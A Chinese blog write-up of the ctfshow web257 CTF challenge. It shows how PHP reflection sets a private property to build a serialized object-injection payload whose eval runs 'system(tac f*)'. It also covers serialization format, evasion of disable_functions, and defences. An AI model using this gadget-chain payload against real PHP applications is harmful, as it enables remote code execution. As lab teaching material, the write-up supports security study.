资讯详情

PHP反序列化中使用反射绕过私有属性

📅 2026/10/30 9:55:41 | 华诺云谱 👁 阅读
PHP反序列化中使用反射绕过私有属性
以ctfshow的web257为灵感反射Reflection是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API类作用ReflectionClass类名、父类、接口、属性列表、方法列表创建实例newInstanceWithoutConstructor()ReflectionProperty读写属性包括 private/protectedsetAccessible()、getValue()、setValue()ReflectionMethod调用方法包括 privateinvoke()、invokeArgs()ReflectionFunction/ReflectionParameter函数、参数、默认值、类型ReflectionAttributePHP 8 的 Attribute注解这里以ctfshow的web257为例源代码?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-02 17:44:47 # Last Modified by: h1xa # Last Modified time: 2020-12-02 20:33:07 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $usernamexxxxxx; private $passwordxxxxxx; private $isVipfalse; private $class info; public function __construct(){ $this-classnew info(); } public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class info{//info类 正常类 private $userxxxxxx; public function getInfo(){ return $this-user; } } class backDoor{ private $code; public function getInfo(){ eval($this-code);//这里有eval可以执行PHP代码 所以需要想办法触发getinfo } } $username$_GET[username]; $password$_GET[password]; if(isset($username) isset($password)){ $user unserialize($_COOKIE[user]); $user-login($username,$password); }?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $a-class$b;//这个地方会报错 $b-codesystem(tac f*);; echo serialize($a); ?本来想尝试这种做法 在最后统一串起来 但是由于class被设置为私有属性不能额外调用然后询问AI得知可以使用反射绕过私有属性故开始尝试最终得到?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $b-code system(tac f*);; // 反射修改私有属性 $ref new ReflectionClass($a); $prop $ref-getProperty(class); $prop-setValue($a,$b); $ser serialize($a); echo 序列化后.$ser.\n; echo url编码后.urlencode($ser); ?将得到url编码后的内容放到cookie里 再传username和password的参 即可得到flag变量类型作用$refReflectionClass对象ctfShowUser这个类的“说明书 操作手柄”$propReflectionProperty对象ctfShowUser::$class这个属性槽的句柄$serstringserialize($a)得到的序列化字符串$ref 类的反射对象$ref-getName(); // 类名 $ref-getProperties(); // 所有属性含 private $ref-getMethods(); // 所有方法 $ref-getConstructor(); // 构造函数 $ref-newInstanceWithoutConstructor(); // 不走构造函数创建实例$prop 属性的反射对象$prop $ref-getProperty(class); $prop-setValue($a, $b);getProperty(class)返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a-class$ser 序列化结果普通字符串内容是整个对象图包括私有属性扩充的知识点反射家族ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。setAccessible()的历史PHP 8.1 起是空操作之前必须显式打开读 private 属性也一样。newInstanceWithoutConstructor()跳过构造函数避免构造函数里的副作用重置属性、连数据库、抛异常。这是真实 gadget 链脚本里最常用的 API 之一。ReflectionObject专门针对对象的反射类ReflectionClass的子类传对象时两者都能用。序列化格式细节O:类名长度:类名:属性个数:{...}、s:字节长度:值;、private 的\0类名\0属性、protected 的\0*\0属性长度按字节算属性个数只数实际写进去的。自定义序列化__sleep()/__serialize()控制“序列化哪些属性”__wakeup()/__unserialize()在反序列化时触发这道题没有但真实链子里常见。unserialize()的第二个参数[allowed_classes [...]]白名单不存在的类会变成__PHP_Incomplete_Class。Cookie 传输urlencodevsrawurlencode、%00、双重编码%2500、;会截断 Cookie、NUL 在浏览器里不可见。对象生命周期__destruct()在脚本结束或对象释放时触发生成脚本里保留析构方法会在本地执行一次命令。本地生成 vs 服务端利用反射跑在你的生成脚本里靶机只执行unserialize()。unserialize()本身就不受可见性限制所以私有属性在它面前不是防线。危险函数eval、system、shell_exec、passthru靶场常见disable_functions会禁用其中一部分system不行就换shell_exec反之亦然。防御不要unserialize()用户输入用json_decode()必须反序列化时用allowed_classes白名单 HMAC 签名不要把eval放进__destruct()。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑